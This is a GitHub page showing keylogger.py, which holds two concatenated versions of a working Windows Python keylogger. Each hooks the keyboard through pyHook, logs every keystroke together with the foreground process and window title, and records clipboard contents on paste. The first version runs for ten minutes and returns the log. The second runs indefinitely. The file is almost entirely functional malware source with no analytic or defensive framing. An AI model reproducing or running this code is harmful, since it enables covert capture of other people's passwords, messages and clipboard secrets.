-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathkeylogger.py
151 lines (118 loc) · 4.13 KB
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
from ctypes import byref, create_string_buffer, c_ulong, windll
from io import StringIO
import os
import pythoncom
import pyWinhook as pyHook
import sys
import time
import win32clipboard
TIMEOUT = 60*10
class KeyLogger:
def __init__(self):
self.current_window = None
def get_current_process(self):
hwnd = windll.user32.GetForegroundWindow()
pid = c_ulong(0)
windll.user32.GetWindowThreadProcessId(hwnd, byref(pid))
process_id = f'{pid.value}'
executable = create_string_buffer(512)
h_process = windll.kernel32.OpenProcess(0x400|0x10, False, pid)
windll.psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
window_title = create_string_buffer(512)
windll.user32.GetWindowTextA(hwnd, byref(window_title), 512)
try:
self.current_window = window_title.value.decode()
except UnicodeDecodeError as e:
print(f'{e}: window name unknown')
print('\n', process_id, executable.value.decode(), self.current_window)
windll.kernel32.CloseHandle(hwnd)
windll.kernel32.CloseHandle(h_process)
def mykeystroke(self, event):
if event.WindowName != self.current_window:
self.get_current_process()
if 32 < event.Ascii < 127:
print(chr(event.Ascii), end='')
else:
if event.Key == 'V':
win32clipboard.OpenClipboard()
value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print(f'[PASTE] - {value}')
else:
print(f'{event.Key}')
return True
def run():
save_stdout = sys.stdout
sys.stdout = StringIO()
kl = KeyLogger()
hm = pyHook.HookManager()
hm.KeyDown = kl.mykeystroke
hm.HookKeyboard()
while time.thread_time() < TIMEOUT:
pythoncom.PumpWaitingMessages()
log = sys.stdout.getvalue()
sys.stdout = save_stdout
return log
if __name__ == '__main__':
print(run())
print('done.')
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
# get a handle to the foreground window
hwnd = user32.GetForegroundWindow()
# find the process ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd, byref(pid))
# store the current process ID
process_id = "%d" % pid.value
# grab the executable
executable = create_string_buffer(b'\x00' * 512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
# now read it's title
window_title = create_string_buffer(b'\x00' * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
# print out the header if we're in the right process
print()
print("[ PID: %s - %s - %s ]" % (process_id,
executable.value,
window_title.value)
)
print()
# close handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
def KeyStroke(event):
global current_window
# check to see if target changed windows
if event.WindowName != current_window:
current_window = event.WindowName
get_current_process()
# if they pressed a standard key
if 32 < event.Ascii < 127:
print(chr(event.Ascii), end=' ')
else:
# if [Ctrl-V], get the value on the clipboard
# added by Dan Frisch 2014
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print("[PASTE] - %s" % pasted_value, end=' ')
else:
print("[%s]" % event.Key, end=' ')
# pass execution to next hook registered
return True
# create and register a hook manager
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
# register the hook and execute forever
kl.HookKeyboard()
pythoncom.PumpMessages()